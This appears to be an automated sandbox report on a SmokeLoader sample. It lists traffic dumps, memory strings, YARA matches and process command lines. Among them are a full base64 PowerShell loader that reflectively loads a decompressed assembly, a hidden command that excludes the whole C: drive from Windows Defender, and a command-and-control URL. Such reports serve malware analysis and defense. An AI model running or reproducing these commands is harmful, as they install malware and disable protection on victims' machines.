6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 10 Apr 2024 08:24:11 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 275Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 10 Apr 2024 08:24:11 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 275Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 10 Apr 2024 08:24:16 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 401Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>

Source: powershell.exe, 00000005.00000002.2032888625.0000000006D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: xwREqjHUEv.exe, 00000000.00000000.1996748280.000000000040A000.00000008.00000001.01000000.00000003.sdmp, xwREqjHUEv.exe, 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000005.00000002.2031709829.0000000005857000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.2114566601.0000000004DA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2029024330.00000000047F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2114566601.0000000004C51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.2114566601.0000000004DA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2033375932.0000000006E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coK
Source: dialer.exe, 00000008.00000002.2178871249.000000000327C000.00000004.00000010.00020000.00000000.sdmp, OpenWith.exe	String found in binary or memory: https://216.250.255.115:80/bed1f869ae125/aqbrhghr.uhmsf
Source: powershell.exe, 00000005.00000002.2029024330.00000000047F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2114566601.0000000004C51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.2114566601.0000000004DA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.2029024330.0000000005051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000005.00000002.2031709829.0000000005857000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 22.2.gfiecjd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.AppLaunch.exe.1ff003ad060.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.gfiecjd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.AppLaunch.exe.1ff003bd080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.AppLaunch.exe.1ff003b4af0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2538928588.0000000000521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2538295136.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2790746450.0000000001EB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\gfiecjd, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, type: DROPPED

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

Code function: 0_2_0040571B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040571B

Source: Yara match	File source: 8.3.dialer.exe.58a0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.dialer.exe.5340000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.dialer.exe.5680000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.F324.exe.3b00000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.dialer.exe.5120000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.F324.exe.3d20000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.dialer.exe.5340000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000003.2791924717.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2107655935.0000000005680000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2824488495.0000000005120000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2825213965.0000000005340000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2107848027.00000000058A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000013.00000002.2538928588.0000000000521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000013.00000002.2538295136.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000016.00000002.2790746450.0000000001EB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: Process Memory Space: powershell.exe PID: 2964, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5720, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2883
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2883			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) \| Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) \| Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"

Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_0000024AB89530C7 RtlAllocateHeap,RtlAllocateHeap,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,RtlDeleteBoundaryDescriptor,RtlDeleteBoundaryDescriptor,	13_3_0000024AB89530C7
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C08A40 NtAcceptConnectPort,	13_3_00007DF488C08A40
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C08AFC NtAcceptConnectPort,	13_3_00007DF488C08AFC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C09AF4 _malloc_dbg,NtAcceptConnectPort,NtAcceptConnectPort,??3@YAXPEAX@Z,	13_3_00007DF488C09AF4
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C08C08 NtAcceptConnectPort,	13_3_00007DF488C08C08
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C08C90 NtAcceptConnectPort,	13_3_00007DF488C08C90
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C09CA0 _calloc_dbg,NtAcceptConnectPort,	13_3_00007DF488C09CA0
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C08D74 NtAcceptConnectPort,	13_3_00007DF488C08D74
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C08D94 NtAcceptConnectPort,	13_3_00007DF488C08D94
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C09F40 NtAcceptConnectPort,	13_3_00007DF488C09F40
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C0B154 NtAcceptConnectPort,NtAcceptConnectPort,	13_3_00007DF488C0B154
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C0B088 NtAcceptConnectPort,NtAcceptConnectPort,	13_3_00007DF488C0B088
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C092CC NtAcceptConnectPort,_calloc_dbg,DuplicateHandle,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,	13_3_00007DF488C092CC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C0A2B0 NtAcceptConnectPort,	13_3_00007DF488C0A2B0
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C0A540 NtAcceptConnectPort,	13_3_00007DF488C0A540
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C0A600 NtAcceptConnectPort,	13_3_00007DF488C0A600
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_2_0000024AB87F0AC8 NtAcceptConnectPort,NtAcceptConnectPort,	13_2_0000024AB87F0AC8
